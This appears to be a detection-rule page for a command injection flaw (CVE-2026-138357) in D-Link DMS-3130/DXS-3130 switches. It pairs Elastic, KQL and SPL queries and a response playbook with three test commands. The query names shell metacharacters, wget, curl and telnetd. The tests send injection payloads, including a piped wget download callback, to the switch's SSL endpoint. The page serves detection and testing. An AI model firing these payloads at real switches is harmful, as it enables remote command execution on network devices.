Skip to content
CVE-2026-138357 Elastic Security · Elastic

Detect D-Link DMS-3130/DXS-3130 898_ssl_global OS Command Injection (CVE-2026-138357) in Elastic Security

Detects exploitation attempts against CVE-2026-138357, an OS command injection vulnerability (CWE-77, CWE-78) with CVSS base score 8.6 in D-Link DMS-3130 and DXS-3130 switches running firmware 1.20.P006. The flaw is in the file 898_ssl_global.lua, part of the SSL Certificate Import Endpoint. The file_name argument is passed into a command context, which allows OS command execution. The attack can be carried out remotely. Because these are network switches with a web management interface, detection relies on HTTP and web-proxy telemetry showing requests to the SSL endpoint carrying shell metacharacters, and on any command-execution or outbound-connection telemetry forwarded from the device. The exploit has been publicly disclosed.

MITRE ATT&CK

Tactic
Initial Access Execution

Elastic Detection Query

Elastic Security (Elastic)
eql
// df00tech DF00-2da3655ac1 · https://df00tech.com/detections/CVE-2026-138357 · licence: https://df00tech.com/detections/licence
network where url.path : "*898_ssl_global*" and
  (url.query : ("*;*", "*|*", "*`*", "*$(*", "*${*", "*%3b*", "*%7c*", "*%26*", "*%60*", "*wget*", "*curl*", "*/bin/sh*", "*telnetd*")
   or http.request.body.content : ("*;*", "*|*", "*`*", "*$(*", "*wget*", "*curl*"))
high severity medium confidence

Matches network/HTTP events where the D-Link 898_ssl_global path is requested with shell metacharacters in the query string or request body.

Data Sources

Packetbeat HTTPFilebeat web moduleNetwork flow with L7 enrichment

Required Tables

logs-network.*packetbeat-*filebeat-*

False Positives & Tuning

  • Authorized security scanners probing the endpoint
  • Administrators entering SSL configuration values containing reserved characters
  • Internal health-check monitors crafting URL-encoded requests to the management plane

Other platforms for CVE-2026-138357


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Command injection probe against 898_ssl_global (semicolon)

    Expected signal: Web/proxy log entry for 898_ssl_global containing '%3B' or ';id' from the test source IP.

  2. Test 2 Command injection with outbound callback (wget)

    Expected signal: Request log showing 898_ssl_global with '%7C' (pipe) and 'wget' substrings.

  3. Test 3 Encoded pipe injection via POST body

    Expected signal: POST to 898_ssl_global with body containing '%60' (backtick) metacharacters.


Response Playbook

Triage

  1. Confirm the target host is a D-Link DMS-3130 or DXS-3130 switch running firmware 1.20.P006 by checking asset inventory and the device's management banner/version page.
  2. Extract the full request URI, query string, and any POST body hitting 898_ssl_global and decode URL-encoded characters to reveal the injected command payload.
  3. Determine whether the source IP is an authorized administrator/scanner or an untrusted/external host, and whether the management interface is reachable from untrusted networks.
  4. Check the HTTP response status and size to assess whether the injection likely succeeded (e.g., 200 with anomalous output vs. error/4xx).

Containment

  1. Restrict the switch management interface to a dedicated management VLAN/ACL and block the offending source IP at the upstream firewall.
  2. If compromise is suspected, isolate the switch from production traffic and fail over to a standby device where possible.
  3. Disable remote HTTP/HTTPS management on the affected device until a vendor fix or mitigation is applied.

Evidence Collection

  1. Capture and preserve web/proxy/firewall logs showing the full request and response for the 898_ssl_global interaction.
  2. Export the switch running-config, syslog, and any available command-history or audit logs for forensic review of unauthorized changes.
  3. Collect outbound connection telemetry from the device timeframe to identify attacker callback (wget/curl/nc) activity.

Escalation Criteria

  • !Escalate to incident response if the injected command executed (confirmed by device-side command/outbound-connection telemetry) or config changes are observed.
  • !Escalate to network operations and the device owner if the management interface is exposed to untrusted or internet-facing networks.

Investigation Guide

Forensic Artifacts

  • >Web/management-plane access logs on the device and upstream proxy showing 898_ssl_global requests
  • >Switch running-config diffs and syslog entries indicating unexpected changes or new accounts
  • >Outbound network connections from the switch management IP to attacker infrastructure

Tuning Guidance

Baseline which internal management/admin hosts and authorized scanners legitimately access the switch web UI and allowlist them. Narrow the metacharacter regex if admin workflows legitimately include certain characters in SSL field values, and prioritize alerts where the source IP is outside the management network or the request originates from an untrusted segment.


Hunting Queries

Surfaces source IPs making repeated requests to the 898_ssl_global endpoint, indicating probing or brute-force injection attempts.

Hunting — KQL
kql
// df00tech DF00-2da3655ac1 · https://df00tech.com/detections/CVE-2026-138357 · licence: https://df00tech.com/detections/licence
W3CIISLog | where csUriStem has "898_ssl_global" | summarize count() by cIP, bin(TimeGenerated, 1h) | where count_ > 5
Hunting — SPL
spl
``` df00tech DF00-2da3655ac1 · https://df00tech.com/detections/CVE-2026-138357 · licence: https://df00tech.com/detections/licence ```
index=web uri="*898_ssl_global*" | stats count by src_ip, date_hour | where count>5

Atomic Red Team Tests

Test 1 Command injection probe against 898_ssl_global (semicolon)
linux

Sends a crafted GET request to the vulnerable SSL global endpoint with a shell command appended via semicolon, simulating OS command injection.

Command

bash
curl -k -s -o /dev/null -w '%{http_code}\n' "https://SWITCH_IP/898_ssl_global?param=1%3Bid"

Cleanup

bash
echo 'No cleanup required; probe is read-only against lab device.'

Expected Telemetry

Web/proxy log entry for 898_ssl_global containing '%3B' or ';id' from the test source IP.

Expected Detection

KQL/SPL rule fires on the presence of 898_ssl_global plus a command metacharacter.

Test 2 Command injection with outbound callback (wget)
linux

Simulates an attacker injecting a wget command to retrieve a payload, exercising the outbound-callback detection path.

Command

bash
curl -k -s "https://SWITCH_IP/898_ssl_global?cfg=x%7Cwget%20http%3A%2F%2F127.0.0.1%2Ft"

Cleanup

bash
rm -f ./t 2>/dev/null; echo 'cleanup done'

Expected Telemetry

Request log showing 898_ssl_global with '%7C' (pipe) and 'wget' substrings.

Expected Detection

Detection matches on the wget/pipe indicators within the 898_ssl_global request.

Test 3 Encoded pipe injection via POST body
linux

Posts a URL-encoded command-injection payload in the request body to the SSL global configuration endpoint.

Command

bash
curl -k -s -X POST "https://SWITCH_IP/898_ssl_global" --data 'ssl_opt=a%60id%60'

Cleanup

bash
echo 'No persistent artifacts created.'

Expected Telemetry

POST to 898_ssl_global with body containing '%60' (backtick) metacharacters.

Expected Detection

Rule matches body/query metacharacters for the 898_ssl_global endpoint.

Related Detections